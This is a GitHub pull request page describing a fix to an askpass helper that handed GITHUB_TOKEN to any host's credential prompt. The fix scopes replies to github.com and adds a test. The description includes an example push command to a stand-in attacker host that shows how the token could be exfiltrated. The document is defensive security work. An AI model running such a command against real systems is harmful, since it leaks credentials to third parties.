Scope git-askpass credential replies to github.com - #112
Open
jay79-boop wants to merge 1 commit into
Open
Conversation
The GIT_ASKPASS helper answered any Basic-Auth username/password prompt with GITHUB_TOKEN, regardless of which host was asking. Since the git shim auto-enables this askpass for any git command run inside the managed OpenClaw repo, an agent running e.g. `git -C $OPENCLAW_REPO_ROOT push https://attacker.example/x` would leak GITHUB_TOKEN to that host's auth prompt. Git's askpass prompt text includes the target host ("Username for 'https://github.com'"), so scope the reply to prompts that mention github.com. Applied to all three copies of this pattern (the installed git shim's askpass, the boot-time remote-config-restore askpass, and the git-sync CLI command's askpass) and added a test proving the shim stays silent for a non-github host.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
The
GIT_ASKPASShelper installed by AlphaClaw's git shim answered any Basic-Auth username/password prompt withGITHUB_TOKEN, regardless of which host was actually asking. Since the shim auto-enables this askpass for anygitcommand run with a cwd inside the managed OpenClaw repo, an agent (or anything running commands in that repo) doing something like:would leak
GITHUB_TOKENstraight toattacker.example's Basic-Auth prompt as the password. No exploit chain needed — just a git command pointed at a different host.Git's askpass prompt text includes the target host (e.g.
Username for 'https://github.com'), so this scopes the reply to only fire whengithub.comappears in the prompt.Applied the same fix to all three copies of this pattern found in the codebase:
lib/scripts/git-askpass(the installed, system-wide git shim's askpass)lib/cli/openclaw-config-restore.js(boot-time remote-config-restore askpass)bin/alphaclaw.js(thegit-syncCLI command's askpass)Test plan
tests/server/git-shim.test.js) that runs the askpass script directly and confirms it answers forgithub.comprompts and returns empty for a non-github host.git-shimtest suite before/after — no regressions (pre-existing unrelated failures on this environment are due to running the suite on Windows, not this change).